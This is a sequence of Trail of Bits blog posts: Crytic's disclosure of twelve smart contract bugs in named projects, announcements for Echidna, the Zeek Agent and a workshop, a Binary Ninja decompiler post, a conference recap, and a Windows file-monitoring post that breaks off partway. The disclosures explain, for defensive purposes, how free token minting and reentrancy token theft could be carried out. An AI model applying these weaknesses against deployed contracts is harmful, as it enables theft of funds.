Bug Hunting with Crytic

Crytic, our Github app for discovering smart contract flaws, is kind of a big deal: It detects security issues without human intervention, providing continuous assurance while you work and securing your codebase before deployment.

Crytic finds many bugs no other tools can detect, including some that are not widely known. Right now, Crytic has 90+ detectors, and we’re continuously adding new checks and improving existing ones. It runs these bug and optimization detectors on every commit, and evaluates custom security properties that you add yourself too!

Today, we’re sharing twelve issues in major projects that were found solely by Crytic, including some of high severity.

Here are the issues we discovered. Read on for where we found them:

  1. Unused return value can allow free token minting
  2. registerVerificationKey always returns empty bytes
  3. MerkleTree.treeHeight and MerkleTree.zero can be constant
  4. Modifiers can return the default value
  5. Dangerous strict equality allows the contract to be trapped
  6. ABI encodePacked collision
  7. Missing inheritance is error-prone
  8. Msg.value is used two times in fundWithAward
  9. Reentrancy might lead to theft of tokens
  10. [Pending acknowledgement]
  11. [Pending acknowledgement]
  12. [Pending acknowledgement]

Ernst & Young Nightfall

Crytic found three bugs in E&Y’s Nightfall project, including one critical vulnerability that could allow anyone to mint free tokens.

Issue 1: Unused return value can allow minting free tokens

Description

FTokenShield.mint does not check the return value of transferFrom. If FTokenShield is used with a token that does not revert in case of incorrect transfers, and only returns false (e.g., BAT), anyone can mint free commitments—and an attacker can mint tokens for free.

A similar issue with less impact occurs in FTokenShield.burn: here fToken.transfer is not checked.

Recommendation

Check the return value of transferFrom and transfer.

Crytic report

Issue 2: registerVerificationKey always returns empty bytes

Description

FTokenShield.registerVerificationKey and NFTokenShield.registerVerificationKey return an empty bytes32. It is unclear what the correct returned value should be. This might lead to unexpected behavior for third parties and contracts.

Recommendation

Consider either returning a value, or removing the return value from the signature.

Crytic report

Issue 3: MerkleTree.treeHeight and MerkleTree.zero can be constant

Description

treeHeight and zero can be declared constant in MerkleTree.sol to allow the compiler to optimize this code.

Recommendation

State variables that never change can be declared constant to save gas.

Crytic report

DeFiStrategies

Crytic found one unusual issue in DeFiStrategies: The lack of placeholder execution in a modifier leads the caller function to return the default value. Additionally, Crytic found an issue related to strict equality on the return of a balanceOf call.

Issue 4: Modifiers can return the default value

Description

The SuperSaverZap.onlyInEmergency() and SuperSaverZap.stopInEmergency() modifiers do not revert in case of invalid access. If a modifier does not execute or revert, the execution of the function will return the default value, which can be misleading for the caller.

Recommendation

Replace the if() condition by a require in both modifiers.

Crytic report

Issue 5: Dangerous strict equality allows the contract to be trapped

Description

ERC20toUniPoolZapV1_General.addLiquidity has strict equality on the _UniSwapExchangeContractAddress balance. This behavior might allow an attacker to trap the contract by sending tokens to _UniSwapExchangeContractAddress.

Recommendation

Change == to <= in the comparison.

Crytic report

DOSNetwork

Crytic found another issue that is not well known in DOSNetwork: If abi.encodedPacked is called with multiple dynamic arguments, it can return the same value with different arguments.

Issue 6: ABI encodePacked Collision

Description

DOSProxy uses the encodePacked Solidity function with two consecutive strings (dataSource and selector): eth-contracts/contracts/DOSProxy.sol.

This schema is vulnerable to a collision, where two calls with a different dataSource and selector can result in the same queryId (see the Solidity documentation for more information).

Recommendation

Do not use more than one dynamic type in encodePacked, and consider hashing both dataSource and selector with keccak256 first.

Crytic Report

ethereum-oasis/Baseline

Crytic found an architectural issue in the Baseline Protocol, among others: A contract implementing an interface did not inherit from it.

Issue 7: Missing inheritance is error-prone

Description

Shield is an implementation of ERC1820ImplementerInterface, but it does not inherit from the interface. This behavior is error-prone and might prevent the implementation or the interface from updating correctly.

Recommendation

Inherit Shield from ERC1820ImplementerInterface.

Crytic report

EthKids

Crytic found another unusual issue in EthKidsthis.balance includes the amount of the current transaction (msg.value), which might lead to incorrect value computation.

Issue 8: Msg.value is used two times in fundWithAward

Description

The use of this.balance in fundWithAward does not account for the value already added by msg.value. As a result, the price computation is incorrect.

fundWithAward computes the token amount by calling calculateReward with msg.value:

function fundWithAward(address payable _donor) public payable onlyWhitelisted {
   uint256 _tokenAmount = calculateReward(msg.value, _donor);

calculateReward calls calculatePurchaseReturn, where _reserveBalance is this.balance and _depositAmount is msg.value:

  return bondingCurveFormula.calculatePurchaseReturn(_tokenSupply, _tokenBalance, address(this).balance, _ethAmount);

In calculatePurchaseReturnn, baseN is then computed by adding _depositAmount (msg.value) to _reserveAmount (this.balance):

uint256 baseN = _depositAmount.add(_reserveBalance);

msg.value is already present in this.balance. For example, if this.balance is 10 ether before the transaction, and msg.value is 1 eth, this.balance will be 11 ether during the transaction). As a result, msg.value is used two times, and calculatePurchaseReturn is incorrectly computed.

Recommendation

Change the price computation so that _reserveBalance does not include the amount sent in the transaction.

Crytic report

HQ20

Finally, Crytic found a well-known issue in HQ20: reentrancy. This reentrancy is interesting as it occurs if the contract is used with a token with callback capabilities (such as ERC777). This is similar to the recent uniswap and lendf.me hacks.

Issue 9: Reentrancy might lead to theft of tokens

Description

Classifieds calls transferFrom on external tokens without following the check-effects-interaction pattern. This leads to reentrancy that can be exploited by an attacker if the destination token has a callback mechanism (e.g., an ERC777 token).

There are two methods with reentrancy issues:

Recommendation

Follow the check-after-effect pattern.

Crytic report

Start using Crytic today!

Crytic can save your codebase from critical flaws and help you design safer code. What’s not to like?

Sign up for Crytic today. Got questions? Join our Slack channel (#crytic) or follow @CryticCi on Twitter.

Announcing the 1st International Workshop on Smart Contract Analysis

At Trail of Bits we do more than just security audits: We also push the boundaries of research in vulnerability detection tools, regularly present our work in academic conferences, and review interesting papers from other researchers (see our recent Real World Crypto and Financial Crypto recaps).

In this spirit, we and Northern Arizona University are pleased to co-organize the 1st International Workshop on Smart Contract Analysis (WoSCA 2020). Co-located with ISSTA 2020, our workshop will bring together researchers from all over the world to discuss static and dynamic approaches for analyzing smart contracts, static and dynamic. It covers, but is not limited to:

  • Analysis-based vulnerability discovery (e.g. heuristics-based static analysis, fuzzing)
  • Sound analysis (e.g. model checking, temporal logic)
  • Code optimization (e.g. code-size reduction, gas-cost estimation)
  • Code understanding (e.g. decompilation, reverse engineering)
  • Code monitoring (e.g. debugging, fault detection)
  • Intermediate representation (e.g. design, specification)

WoSCA 2020 also actively promotes open and reproducible research. We especially encourage you to submit papers that show how to improve existing tools or propose new ones!

Submit your paper (up to 8 pages) by Friday, May 22, 2020 (AoE). Deadline extended to Friday, June 26 2020! (AoE).

And don’t forget: We’re still accepting submissions for the 10k Crytic Research Prize, which honors published academic papers built around or on top of our blockchain tools. Get involved!

Revisiting 2000 cuts using Binary Ninja’s new decompiler

It’s been four years since my blog post “2000 cuts with Binary Ninja.” Back then, Binary Ninja was in a private beta and the blog post response surprised its developers at Vector35. Over the past few years I’ve largely preferred to use IDA and HexRays for reversing, and then use Binary Ninja for any scripting. My main reason for sticking with HexRays? Well, it’s an interactive decompiler, and Binary Ninja didn’t have a decompiler…until today!

Today, Vector35 released their decompiler to their development branch, so I thought it’d be fun to revisit the 2000 cuts challenges using the new decompiler APIs.

Enter High Level IL

The decompiler is built on yet another IL, the High Level IL. High Level IL (HLIL) further abstracts the existing ILs: Low Level IL, Medium Level IL, and five others largely used for scripts. HLIL has aggressive dead code elimination, constant folding, switch recovery, and all the other things you’d expect from a decompiler, with one exception: Binary Ninja’s decompiler doesn’t target C. Instead, they’re focusing on readability, and I think that’s a good thing, because C is full of many idiosyncrasies and implicit operations/conversions, which makes it very difficult to understand.

Using one of our 2000 cuts challenges, let’s compare Binary Ninja’s decompiler to its IL abstractions.

First, the original disassembly:

The ASM disassembly has 43 instructions, of which three are arithmetic, 27 memory operations (loads, stores), four transfers, one comparison, and eight control flow instructions. Of these instructions, we care mainly about the control flow instructions and a small slice of memory operations.

Next, Low Level IL (LLIL):

LLIL mode doesn’t remove any instructions; it simply provides us a consistent interface to write scripts against, regardless of architecture being disassembled.

With Medium Level IL (MLIL), things start to get better:

In MLIL, stack variables are identified, dead stores are eliminated, constants are propagated, and calls have parameters. And we’re down to 17 instructions (39% of the original). Since MLIL understands the stack frame, all the arithmetic operations are removed and all the “push” and “pop” instructions are eliminated.

Now, in the decompiler, we’re down to only six instructions (or eight, if you count the variable declarations):

Also available in linear view:

hlil-linear

HLIL Linear View

Using the new decompiler API to solve 2000 cuts

For the original challenge, we had to extract hard-coded stack canaries out of hundreds of nearly identical executables. I was able to do this with very little difficulty using the LLIL API, but I had to trace some values around and it was a bit unergonomic.

Let’s try it again, but with the HLIL API1:

Running the script produces the desired result:

We quickly process 1000 cuts

Conclusion

The HLIL solution is a bit more concise than our original, and easier to write. Overall, I’m enjoying the Binary Ninja’s new decompiler and I’m pretty excited to throw it at architectures not supported by other decompilers, like MIPS, 68k, and 6502. Hopefully, this is the decade of the decompiler wars!

If you’re interested in learning more about Binary Ninja, check out our Automated Reverse Engineering with Binary Ninja training.

Footnotes
  1. For help writing Binary Ninja plugins that interact with the ILs, check out my bnil-graph plugin, which was recently updated to support HLIL.

Announcing our first virtual Empire Hacking

At Trail of Bits, we’ve all been working remotely due to COVID-19. But the next Empire Hacking event will go on, via video conference!

  • When: April 14th @ 6PM
  • How: RSVP via this Google Form or on Meetup. We’ll email you an invitation early next week.

Come talk shop with us!

Every two months, Empire Hacking is hosted by companies that share our passion for investigating the latest in security engineering. We bring together interesting speakers and people in the field, share new information, make connections, and enjoy continuing our conversations at a nearby bar afterwards. (Bring your own quarantini this time.)

Don’t miss our April lineup

Enarx-Secured, Attested Execution on Any Cloud

Lily Sturmann and Mark Bestavros, security engineers at Red Hat in Boston, will tell us the latest about their work on the open-source Enarx project, which is currently underway on AMD’s SEV and Intel’s SGX hardware. Enarx makes it simple to deploy confidential workloads to a variety of TEEs in the public cloud by handling deployment and attestation. It uses WebAssembly to offer developers a wide range of compatible language choices for workloads, eliminating the need to rewrite the application for a particular TEE’s platform or SDK.

Towards Automated Vulnerability Patching

If you know Trail of Bits, you know we find a lot of bugs, and we think you’ll enjoy this peek at what happens after bugs are found. Carson Harmon will give a brief high-level overview of the challenges associated with vulnerability patching, and our progress in creating tools to assist humans with the process. He’s been working on DARPA CHESS, one of our government-sponsored projects that focuses on automatically finding and fixing bugs in C/C++ programs.

We look forward to seeing you (virtually) on April 14th at 6PM to continue the conversation.

An Echidna for all Seasons

TL;DR: We have improved Echidna with tons of new features and enhancements since it was released—and there’s more to come.

Two years ago, we open-sourced Echidna, our property-based smart contract fuzzer. Echidna is one of the tools we use most in smart contract assessments. According to our records, Echidna was used in about 35% of our smart contract audits during the past two years. These include several high-profile audits such as MakerDAO, 0x, and Balancer. Since the first release of Echidna, we have been adding new features as well as fixing bugs. Here’s a quick look at what we’ve done.

New features

We expanded the capabilities of Echidna with a large set of exciting new features. Some of the most important ones are:

Support for several compilation frameworks using crytic-compile: Integration with crytic-compile allowed Echidna to test complex Truffle projects, and even smart contracts in other languages, such as Vyper, right out of the box. It is completely transparent for the user (if you are an Echidna user, you are already using it!) and it was one of the most important features we implemented in Echidna last year.

Assertion testing: Solidity’s assert can be used as an alternative to explicit Echidna properties, especially if the conditions you’re checking are directly related to the correct use of some complex code deep inside a function. Assertion testing also lets you check for implicit asserts inserted by the compiler, such as out-of-bounds array accesses without an explicit property. Add checkAsserts: true in your Echidna configuration file and it will take care of the rest.

An assertion failure is discovered in Vera’s MakerDAO example

Restrict the functions to call during a fuzzing campaign: Not all functions in a smart contract are created equal. Some of them are not useful during property-based testing and will only slow down the campaign. That’s why Echidna can either blacklist or whitelist functions to call during a fuzzing campaign. Here’s an Echidna configuration that avoids “f1” and “f2” methods during a fuzzing campaign:

filterBlacklist: true # or use false for whitelisting
filterFunctions: [&quot;f1&quot;, &quot;f2&quot;]

Save and load the corpus collected during a fuzzing campaign: If coverage support is enabled, Echidna can load and save the complete corpus collected in JSON. If a corpus is available at the beginning of a fuzzing campaign, Echidna will use it immediately. This means that Echidna will not start from scratch, which is particularly useful during CI tests to speed up the verification of complex properties. Add coverage: true and corpusDir: "corpus" to your Echidna configuration and create a “corpus” directory to save the inputs generated by Echidna.

Pretty-printed example of a transaction from a corpus.

Detect transactions with high-gas consumption: Excessive gas usage can be a pain for developers and users of smart contracts. There are few tools available for detecting transactions with large gas consumption, especially if detecting the transaction requires reaching unusual states of the contract via other transactions. Recently Echidna added support to detect this kind of issue. Use estimateGas: true in your Echidna configuration to report high-gas transactions to your console.

Discovery of a transaction consuming a large amount of gas

Extended testing of complex contracts: Echidna also improved the testing of complex contracts with two cool features. First, it allows initializing a fuzzing campaign with arbitrary transactions using Etheno. Second, it can test more than one contract at the same time, calling any public or external function of any tested contract. Use multi-abi: true in your Echidna configuration to test more than one contract at the same time.

Keeping up to date with the latest research

We are following the latest developments in smart contract fuzzing papers to make sure Echidna is up to date. Our researchers compare open-source fuzzers to Echidna, and integrate any new approach that proves to be effective for finding faults or generating more interesting inputs. In fact, from time to time, we test examples presented in research papers to make sure Echidna can solve them very efficiently! We also regularly attend conferences to discuss novel fuzzing techniques, and even financially support new research papers that improve our tools.

Echidna solves the example presented in Harvey’s paper

Looking forward

And we’re not taking a break! In fact, we have a pipeline of improvements and new features coming to Echidna in the near future, including enhanced coverage feedback, array generation and corpus mutations, and Slither integration. We are also excited to share that we have added Echidna support to crytic.io, our continuous assurance platform for smart contracts.

Echidna integration for automatic assertion checking in crytic.io

In summary

In two years, Echidna has evolved from an experimental tool into an essential resource for fuzzing smart contracts and identifying correctness/security issues. We continue to push the limits of what is possible by fuzzing smart contracts, and keep our open-source tools updated for community use. Learn more about testing your smart contracts with Echidna in our Building Secure Contracts training.

Do you have smart contracts to test with Echidna? Are you interested in reviewing your Echidna scripts or training on how to use it effectively? Drop us a line! Trail of Bits has years of experience in performing smart contract security assessments, addressing everything from minimalistic tokens to complex staking and voting platforms.

Announcing the Zeek Agent

(This posting is cross-posted between the Zeek blog and the Trail of Bits blog).

The Zeek Network Security Monitor provides a powerful open-source platform for network traffic analysis. However, from its network vantage point, Zeek lacks access to host-level semantics, such as the process and user accounts that are responsible for any connections observed. The new Zeek Agent fills this gap by interfacing Zeek directly with your endpoints, providing semantic context that’s highly valuable for making security decisions. The agent collects endpoint data through custom probes and, optionally, by interfacing to osquery and making most of its tables available to Zeek.

We are releasing the Zeek Agent as open-source code under the liberal BSD license. Head over to the releases page and try it now with your macOS and Linux endpoints; Windows support is coming soon! Please share your ideas, requests and other feedback with us by filing an issue on GitHub or joining the #zeek-agent channel on the new Zeek Slack.

logo

What’s new here and why it’s useful

Traditionally, network security monitors only receive network traffic passively intercepted between hosts (endpoints). While that vantage point is very powerful—the network does not lie!—it does not provide the complete picture, and it can be challenging to understand the broader context of who is doing what on the endpoints. This approach makes analyzing encrypted traffic particularly challenging: Since passive monitoring cannot assess the actual content of the communication, defenders often remain in the dark about its legitimacy.

The Zeek Agent closes this gap by adding an endpoint-level vantage point to host activity. Just like Zeek itself, the policy-neutral agent does not perform any detection. Instead, it collects a stream of host-side events (“new process,” “socket opened,” “user logged in”) and feeds those events into Zeek’s standard processing pipeline, where they become available to Zeek scripts just like traditional network-derived events. By representing both network and host activity inside the same event abstraction, this setup lets users deploy all of Zeek’s powerful machinery to cross-correlate the two vantage points. For example, Zeek could now tag network connections with the endpoint-side services that initiated them (e.g., sshd). The agent can also let Zeek create new logs that record endpoint information, as seen in this example:

Screen Shot 2020-03-20 at 12.29.04 AM

Zeek logs of network connections and listening ports, enriched with relevant process context from the endpoint (provided by the Zeek Agent)

A short history and background of the project

In 2018 at the University of Hamburg, Steffen Haas developed an initial prototype of the agent. Originally called zeek-osquery, this prototype was a powerful demonstration of the agent approach, but it had certain technical limitations that precluded production usage.

In 2019, Corelight hired Trail of Bits to update and improve Haas’ zeek-osquery software prototype. While the prototype was developed as a set of patches that implemented functionality directly within the osquery core, Trail of Bits suggested a different approach that would be more suitable for long-term development, and a better match for existing deployments. The new version began as a port of the existing code to an osquery extension which could be packaged and distributed independently. Eventually, this process evolved into a clean rewrite to produce an entirely new agent that can operate both in a standalone fashion and with osquery. The agent’s built-in data sources leverage the same underlying process-monitoring capabilities as osquery, but in a way more compatible with how Linux systems are configured for real-world use. Trail of Bits also designed the agent to easily support more custom data sources in the future.

How the Zeek Agent works

Like osquery, the agent provides system information in the form of a database, using the SQLite library. Table plugins publish the actual data, and are allocated and registered during startup. Once they export the necessary methods to report the schema and generate data, the internal framework will create the required SQLite table abstractions and attach them to the database.

Most data sources will inspect the system at query time and report their findings at that specific point in time. However, some tables may want to keep listening for system activity even when no query is being executed. This is commonly referred to as an evented table, which typically uses threads/callbacks to continuously record system events in the background. The process_events table works exactly like this, and allows Zeek scripts to look at past process executions.

Additional data sources can be imported from osquery, if it happens to be installed and running on the same system, thanks to the extensions socket. With this design, everything appears to come from a single unified database, allowing users to seamlessly join built-in and osquery tables together.

The tables can be accessed via scripts as soon as the agent connects to a Zeek server instance. Data can be requested either by running a single-shot SQL statement or as a scheduled query that runs automatically and reports data at specified intervals.

On the Zeek side, scripts fully control the data requested from the agent by defining corresponding SQL queries. Results stream into Zeek continuously, and transparently turn into standard Zeek events that handlers can hook into, just as if the events were derived from network traffic.

How to get started

The Zeek Agent documentation summarizes how to build and install the agent. On the Zeek side, there’s a new Zeek Agent framework you can install through Zeek’s package manager. See its documentation for more information on installation and usage. For an example of a Zeek script requesting information from the agent, see this script that turns process activity into a Zeek log on Linux.

What’s next for the Zeek Agent?

Right now, we welcome feedback on the Zeek Agent regarding usability, functionality, and deployment models. We’re curious to see what use-cases the Zeek community comes up with, and we encourage users to publish Zeek packages that leverage the agent’s capabilities. The best places to leave feedback are the agent’s GitHub issues, the #zeek-agent channel on the new Zeek Slack, and the Zeek mailing list.

The agent is an open-source project, so we also appreciate code contributions; just file GitHub pull requests. If you are interested in sponsoring specific work on the Zeek Agent, please contact Corelight.

We continue to extend the agent: We just completed an initial port to macOS, and we’re working on Windows support, as well. We will be extending the Zeek-side agent script framework, and we‘re also adding a multi-hop routing layer to Zeek’s underlying communication system, Broker, to facilitate deployment of the Zeek Agent across numerous endpoints.

About Trail of Bits Security Engineering Services

As your secure development partner, Trail of Bits has helped some of the world’s leading security software companies bring reliable products to market. Our engineering team’s goal is to write secure code and build tools that users can trust to protect their organizations and data. With our teams’ combined software development experience and research into system-level security, we regularly identify foundational gaps: missing capabilities, opportunities for improvement, and even potential vulnerabilities. We will review existing software architecture and provide recommendations or fixes, enhance feature sets or write new capabilities, and improve your security testing using the best available tools.

If your organization has security software plans but lacks the time or dedicated engineering resources to ensure the final product adheres to the best practices in secure coding, contact us. We would love to hear from you.

About Corelight

Corelight delivers powerful network traffic analysis (NTA) solutions that help organizations defend themselves more effectively by transforming network traffic into rich logs, extracted files, and security insights. Corelight Sensors are built on Zeek (formerly called “Bro”), the open-source network security monitoring framework that generates actionable, real-time data for thousands of security teams worldwide. Zeek has become the “gold standard’’ for incident response, threat hunting, and forensics in large enterprises and government agencies worldwide. Founded by the team behind Zeek, Corelight makes a family of virtual and physical network sensors that take the pain out of deploying open-source Zeek and expand its performance and capabilities. Corelight is based in San Francisco, California, and its global customers include Fortune 500 companies, large government agencies, and major research universities. For more information, visit https://www.corelight.com.

Financial Cryptography 2020 Recap

A few weeks ago, we went to the 24th Financial Cryptography (FC) conference and the Workshop on Trusted Smart Contracts (WTSC), where we presented our work on smart contract bug categorization (see our executive summary) and a poster on Echidna. Although FC is not a blockchain conference, it featured several blockchain-oriented presentations this year and in previous years. And despite issues stemming from world-traveling restrictions, the organizers pulled off an excellent conference for 2020.

Here are some of the conference papers we recommend checking out:

Security

Security Analysis on dBFT Protocol of NEO

Qin Wang, Jiangshan Yu, Zhiniang Peng, Van Cuong Bui, Shiping Chen, Yong Ding, and Yang Xiang

In this review of the NEO blockchain’s consensus protocol, dBFT (a variant of the standard PBFT), the authors discovered two successful safety attacks which occurred mostly because dBFT skipped a specific message (COMMIT) for optimization reasons. We’ve reviewed similar consensus protocols at Trail of Bits, and we enjoyed learning about the attacks found here.

Breaking the Encryption Scheme of the Moscow Internet Voting System

Pierrick Gaudry and Alexander Golovnev

We’ve reviewed several on-chain election systems, so this system’s vulnerabilities were no surprise to us. In this study, the encryption of an on-chain voting system in a recent Moscow election used a variant of ElGamal called 3 ElGamal, which is a multi-level encryption version of ElGamal. It is not clear why the developers created this variant, since it does not increase security. They used 256-bit keys, which (as you might expect) are too small; However, the paper’s authors believe 256-bit keys were used because they match the size of EVM operands and allowed a simple on-chain implementation of the encryption. The issue was reported a few weeks before the election, so the developers rewrote most of the codebase and removed the on-chain encryption just before the election. The authors then found another issue that caused a leak of one bit of information—enough to identify a voter’s choice of candidate. Not surprisingly, this paper had significant press coverage (Coindesk, ZDnet, etc.).

LockDown: Balance Availability Attack Against Lightning Network Channels

Cristina Pérez-Solà, Alejandro Ranchal-Pedrosa, Jordi Herrera-Joancomartí, Guillermo Navarro-Arribas, and Joaquin Garcia-Alfaro

In this paper, the authors showed that it is possible to trigger a balance lockdown on the bitcoin lightning network. Essentially, an attacker can reach a dominant position over its target in the network such that it becomes the main gateway of the route payment. Interestingly enough, payment channels allow loops in their path, increasing the fee for the attacker.

Selfish Mining Re-examined

Kevin Alarcón Negy, Peter Rizun, and Emin Gün Sirer

At a high level, selfish mining occurs when a miner does not reveal that a block has been mined. Knowing the block has been mined, the selfish miner can work on the next one and thereby gain an edge over the competition. Selfish mining is a known concept in blockchain, but part of the community believes the reasoning is flawed and the attack is not profitable.

This paper introduces a variant in which a miner switches between selfish mining and standard mining, and shows how a miner would profit from such behavior. They looked at the difficulty adjustment algorithms, and found that some blockchains seem more vulnerable than others. Typically, Ethereum’s uncle reward—in which miners receive a small reward if competitive blocks are mined (i.e., when two miners find a different block at the same time)—seems to make Ethereum more vulnerable.

Program analysis

Marlowe: Implementing and Analysing Financial Contracts on Blockchain

Pablo Lamela Seijas, Alexander Nemish, David Smith, and Simon Thompson

Marlowe is a Haskel-based DSL meant to represent financial contracts on the Cardano blockchain. The DSL is not Turing-complete, but aims to provide all the features necessary for the most common financial contracts. It is a nice work in progress; check it out their web-based IDE.

Enforcing Determinism of Java Smart Contracts

Fausto Spoto

This work focuses on the Takamaka blockchain, which allows smart contracts to be written in Java and executed in a Java virtual machine. One of the main issues with Java is keeping deterministic execution, while some standard libraries are not deterministic (e.g., HashSet). This work-in-progress uses a whitelist approach of known deterministic libraries, and statically detects when a function call is dangerous; it then adds dynamic instrumentation and reverts the contract if non-deterministic behavior is detected.

Albert, an Intermediate Smart-Contract Language for the Tezos Blockchain

Bruno Bernardo, Raphaël Cauderlier, Basile Pesin, and Julien Tesson

Albert is an intermediate representation for the Tezos blockchain. Its compiler to Michelson, the language executed on Tezos, was written and verified in Coq. It is nice work in progress, and we were happy to see compiler verification applied to smart contract language.

A Formally Verified Static Analysis Framework for Compositional Contracts

Fritz Henglein, Christian Kjær Larsen, and Agata Murawska

This work presents an abstract interpretation framework based on the Contract Specification Language (CSL). The work is interesting, but unfortunately, CSL has not yet found much real-world usage.

Protocol design

Load Balancing in Sharded Blockchains

Naoya Okanami, Ryuya Nakamura, and Takashi Nishide

This paper focused on the sharding repartition for Eth 2.0. With Eth 2.0, smart contracts will be split between shards, and then one must determine which contract is in what shard. It’s a hot topic, with many different approaches. For example, Eth 2.0 might end with a “Yank” opcode, allowing a contract to switch between shards. This work proposes a load-balancing approach, where off-chain competitors submit different repartitions and earn a reward if their solution is picked.

Fairness and Efficiency in DAG-Based Cryptocurrencies

Georgios Birmpas, Elias Koutsoupias, Philip Lazos, and Francisco J. Marmolejo-Cossío

DAG-based public ledgers are an alternative to blockchain. Instead of storing the history of the chain in a linear data structure, some teams try to use a DAG (directed acyclic graph). DAG-based ledgers are supposed to scale significantly better than blockchain, but they create a difficult architecture to synchronize. This paper proposed a scenario in which there is no malicious miner, and showed that even in this situation, the synchronization is difficult and depends heavily on miner connectivity.

Decentralized Privacy-Preserving Netting Protocol on Blockchain for Payment Systems

Shengjiao Cao, Yuan Yuan, Angelo De Caro, Karthik Nandakumar, Kaoutar Elkhiyaoui, and Yanyan Hu

Done in collaboration with IBM, this work used zk-proof to create a decentralized netting and allow banks to settle their balances. See the code.

MicroCash: Practical Concurrent Processing of Micropayments

Ghada Almashaqbeh, Allison Bishop, and Justin Cappos

In this paper, the authors created a micro-payment solution that handles parallel payments. Most existing micro-payment solutions require sequential payment, which limits their usage. The author extended the existing probabilistic micropayment schema. One limitation is that the system requires a relatively stable set of merchants, but it is likely to match most real-world situations.

Ride the Lightning: The Game Theory of Payment Channels

Zeta Avarikioti, Lioba Heimbach, Yuyi Wang, and Roger Wattenhofer

Here, the authors use a game theory approach for economic modeling of payment channels. They used graph-based metrics (betweenness and closeness centrality) and aimed to minimize the user’s cost (channels’ creation cost) while maximizing fees. It is an interesting approach. Some assumptions are not realistic (e.g., it assumes that all the nodes are static), but their approach shows that there are improvements to be made in the nodes’ strategies for their payment channel position.

How to Profit From Payment Channels

Oğuzhan Ersoy, Stefanie Roos, and Zekeriya Erkin

When the authors looked at the fee chosen by the nodes in a payment channel, most of the nodes seemed to use the default value. This work formalizes the optimization problem of having the optimal fee for a node, and shows that the problem is NP-hard. It then proposes a greedy algorithm to find an approximation to the optimal solution. Here they assume that other nodes keep a fee constant, which is realistic for now, but might change if nodes start using more efficient fee strategies.

High-level studies

Surviving the Cryptojungle: Perception and Management of Risk Among North American Cryptocurrency (Non)Users

Artemij Voskobojnikov, Borke Obada-Obieh, Yue Huang, and Konstantin Beznosov

This is a user study on the perception and management of the risks associated with cryptocurrency. It is an interesting work focusing on cryptocurrency in general, not just bitcoin. As expected, the authors found that many users struggle with the user-interface of wallet and blockchain applications, and several users studied are afraid of using cryptocurrency and are waiting for more regulations.

Characterizing Types of Smart Contracts in the Ethereum Landscape

Monika di Angelo and Gernot Salzer

This study focuses on classifying activity on the Ethereum mainet. It confirms some known results: A lot of code is duplicated and/or unused. The paper also shows that GasTokens are responsible for a significant percentage of transactions. Such a classification is needed to better understand the different trends and usages of blockchain.

Smart Contract Development From the Perspective of Developers: Topics and Issues Discussed on Social Media.

Afiya Ayman, Shanto Roy, Amin Alipour, and Aron Laszka

This paper took an interesting approach to security questions and tool citation by showing which tools are cited most often in Stack Exchange and Medium. It would be interesting to apply this approach to other media (Reddit, Twitter), and look at the software quality of the tools. For example, Oyente is frequently cited, but the tool has not been updated since 2018 and is no longer usable.

Systematization of knowledge

SoK: A Classification Framework for Stablecoin Designs

Amani Moin, Kevin Sekniqi, and Emin Gun Sirer

This work classifies the different stablecoins and will be a useful reference. We were interested in this work since we reviewed many of the stablecoins cited.

SoK: Layer-Two Blockchain Protocols

Lewis Gudgeon, Pedro Moreno-Sanchez, Stefanie Roos, Patrick McCorry, and Arthur Gervai

The paper summarizes different layer-two solutions, and will be a useful reference for anyone working on this topic.

Secure computation

Communication-Efficient (Client-Aided) Secure Two-Party Protocols and Its Application

Satsuya Ohata and Koji Nuida

This paper focused on MPCs based on shared-secret (SS), which are faster than traditional garbled circuits. The main issue with most SS-based MPCs is the number of communication rounds required, which creates significant network latency. This makes MPCs impractical to deploy on a WAN setup, which seems to be an anti-goal for MPC. The authors focus on reducing the number of communication rounds so SS-based MPC can be deployed on WAN.

Insured MPC: Efficient Secure Computation with Financial Penalties

Carsten Baum, Bernardo David, and Rafael Dowsley

In this presentation on the security properties of MPC, the authors explain that traditional works focus mostly on the correctness and privacy of MPC, but some properties are missing. The security of an MPC also relies on fairness (if an adversary gets output, everybody does), identifiable abort (if an adversary aborts, every party knows who caused it), and public verification (any third party can verify that the output was correctly computed). As a result, the authors propose the construction of a publicly verifiable homomorphic commitment scheme with composability guarantees.

Secure Computation of the kth-Ranked Element in a Star Network

Anselme Tueno, Florian Kerschbaum, Stefan Katzenbeisser, Yordan Boev, and Mubashir Qureshi

Here the authors propose a protocol to find the kth-ranked element when multiple parties hold private integers (e.g., comparing employee salaries without revealing the salaries). The main idea is to use a server in a secure multiparty computation (SMC); the server is meant to help the protocol without having access to private information.

Cryptography

Zether: Towards Privacy in a Smart Contract World

Benedikt Bünz, Shashank Agrawal2, Mahdi Zamani2, and Dan Boneh

Zether leverages zk-proofs to allow private fund transfers. It is a hot topic; we previously worked on Aztec, which proposes a similar solution. While the bulletproof library is open-source, the smart contract seems to be closed-source.

BLAZE: Practical Lattice-Based Blind Signatures for Privacy-Preserving Applications

Nabil Alkeilani Alkadri, Rachid El Bansarkhani, and Johannes Buchmann

This paper proposes a post-quantum blind signature schema. Blaze aims to improve two current limitations of the existing schema, i.e., they are either too slow or their signatures are too large.

Submit your research to our Crytic Research Prize!

FC is one of the peer-reviewed conferences recommended in our Crytic $10k cash prize. If you are working on program analysis for smart contracts, try any of our open-source tools (including Slither, Echidna, Manticore) and submit your work for our Crytic prize! We are happy to provide technical support to anyone using our tools for academic research—just contact us.

Real-time file monitoring on Windows with osquery

TL;DR: Trail of Bits has developed ntfs_journal_events, a new event-based osquery table for Windows that enables real-time file change monitoring. You can use this table today to performantly monitor changes to specific files, directories, and entire patterns on your Windows endpoints. Read the schema documentation here!

The results of a query on ntfs_journal_events

File monitoring for fleet security and management purposes

File event monitoring and auditing are vital primitives for endpoint security and management:

  • Many malicious activities are reliably sentineled or forecast by well-known and easy to identify patterns of filesystem activity: rewriting of system libraries, dropping of payloads into fixed locations, and (attempted) removal of defensive programs all indicate potential compromise
  • Non-malicious integrity violations can also be detected through file monitoring: employees jailbreaking their company devices or otherwise circumventing security policies
  • Software deployment, updating, and automated configuration across large fleets: “Does every host have Software X installed and updated to version Y?”
  • Automated troubleshooting and remediation of non-security problems: incorrect permissions on shared files, bad network configurations, disk (over)utilization

A brief survey of file monitoring on Windows

Methods for file monitoring on Windows typically fall into one of three approaches:

We’ll cover the technical details of each of these approaches, as well as their advantages and disadvantages (both general and pertaining to osquery) below.

Win32 APIs

The Windows API provides a collection of (mostly) filesystem-agnostic functions for polling for events on a registered directory:

These routines come with several gotchas:

